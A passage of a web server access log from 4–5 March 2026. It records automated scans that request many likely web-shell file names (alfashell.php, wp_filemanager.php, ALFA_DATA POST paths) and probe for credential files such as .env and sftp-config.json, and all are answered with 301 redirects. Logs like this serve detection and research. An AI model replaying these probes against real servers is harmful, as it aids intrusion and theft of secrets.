- [04/Mar/2026:14:11:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:13:30 +0300] "GET /ftyude.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:14:22 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:30 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:36 +0300] "GET /wp-x.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:59 +0300] "GET /global.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:51 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:21 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:06 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "-" 44.195.201.244 - - [04/Mar/2026:14:55:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 87.121.84.97 - - [04/Mar/2026:15:03:05 +0300] "GET /assets/js/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 20.151.11.236 - - [04/Mar/2026:15:23:45 +0300] "GET /jocundly.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:23:51 +0300] "GET /wo.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:04 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:05 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:28:20 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:28:35 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:28:57 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:28:57 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:29:24 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:29:25 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:30:07 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:14 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:54 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:57 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:57 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:36 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:55 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:23:57 +0300] "GET /h2h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:26:26 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:41 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:28:05 +0300] "GET //3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:29:13 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:50 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:00 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:36 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:38 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:09 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:22 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:23 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:09 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:49 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:10 +0300] "GET //2.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:29:42 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:29:43 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:30:31 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:30:34 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:20 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:48 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:49 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:48 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:22:57 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:29 +0300] "GET /xnty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:38 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:22 +0300] "GET /claw.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:52 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:28:50 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:28 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:36 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:36 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:09 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:33 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:43 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:44 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:56 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:56 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:56 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:12 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:23:18 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:01 +0300] "GET /xv23.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:32 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:39 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:43 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:26:13 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:26:56 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 91.244.197.77 - - [04/Mar/2026:15:28:39 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 20.151.11.236 - - [04/Mar/2026:15:29:35 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:30:22 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:56 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:56 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:05 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:16 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:35 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:35 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:14 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:17 +0300] "GET /zzxy.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:20 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:56 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:34 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:28:40 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:29:52 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:30:43 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:02 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:41 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:22:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:23:23 +0300] "GET /rere.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:04 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:25:11 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:26:06 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:26:40 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:21 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:27:27 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 91.244.197.77 - - [04/Mar/2026:15:28:54 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 20.151.11.236 - - [04/Mar/2026:15:30:56 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:22 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:24 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:43 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:04 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:23:05 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:23:32 +0300] "GET /ok356.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:24:47 +0300] "GET /foxr.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:29:08 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:31:56 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:32:31 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:13 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:20 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:33:31 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:34:18 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:27 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:27 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:35:30 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:01 +0300] "GET //wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:37:01 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:38:13 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:38:13 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:05 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:46 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:36 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:51 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:37:56 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:37:59 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:12 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:35 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:40 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:44 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:42:00 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:42:31 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:37:26 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:37:41 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:37:48 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:38:30 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:38:54 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:32 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:35 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:23 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:36:46 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:00 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:05 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:06 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:04 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:15 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:19 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:42:09 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:42:22 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:27 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:48 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:38:23 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:53 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:37:15 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:38:41 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:16 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:56 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:42:14 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:42:17 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:38:18 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:40 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:39:58 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:40:26 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [04/Mar/2026:15:41:49 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 45.87.253.164 - - [04/Mar/2026:16:55:45 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 43.140.247.223 - - [04/Mar/2026:18:09:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.149.216 - - [04/Mar/2026:18:34:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.232.101 - - [04/Mar/2026:20:24:46 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.220.232.101 - - [04/Mar/2026:20:24:46 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.220.232.101 - - [04/Mar/2026:20:24:46 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.190.142.176 - - [04/Mar/2026:19:24:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [04/Mar/2026:20:24:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.166.142.76 - - [04/Mar/2026:19:18:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 152.42.254.29 - - [04/Mar/2026:21:01:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 91.224.92.197 - - [04/Mar/2026:21:22:19 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 91.224.92.197 - - [04/Mar/2026:21:22:22 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 27.46.75.5 - - [04/Mar/2026:23:25:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3986.47 Safari/537.36 QIHU 360EE" 156.146.39.7 - - [05/Mar/2026:00:31:16 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 159.89.224.245 - - [05/Mar/2026:00:32:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 212.34.129.45 - - [05/Mar/2026:00:08:18 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 43.166.255.122 - - [05/Mar/2026:00:36:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 1.15.52.154 - - [05/Mar/2026:00:17:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.158.90.52 - - [05/Mar/2026:03:02:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 93.158.90.66 - - [05/Mar/2026:02:14:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" 101.32.208.70 - - [05/Mar/2026:01:32:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 199.246.88.124 - - [05/Mar/2026:02:08:40 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 93.158.90.31 - - [05/Mar/2026:03:02:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 62.60.130.228 - - [05/Mar/2026:04:10:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.2210.133" 217.154.234.180 - - [05/Mar/2026:07:01:11 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 34.28.80.73 - - [05/Mar/2026:06:48:29 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36" 20.234.20.103 - - [05/Mar/2026:06:29:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.234.20.103 - - [05/Mar/2026:06:29:11 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 20.234.20.103 - - [05/Mar/2026:06:29:14 +0300] "GET /zeal.php HTTP/1.1" 301 795 "-" "-" 20.234.20.103 - - [05/Mar/2026:06:29:17 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.234.20.103 - - [05/Mar/2026:06:29:19 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 20.234.20.103 - - [05/Mar/2026:06:29:23 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.234.20.103 - - [05/Mar/2026:06:29:25 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 43.130.31.17 - - [05/Mar/2026:07:06:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.149.56 - - [05/Mar/2026:06:17:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.232.184.93 - - [05/Mar/2026:08:07:55 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [05/Mar/2026:08:07:57 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - 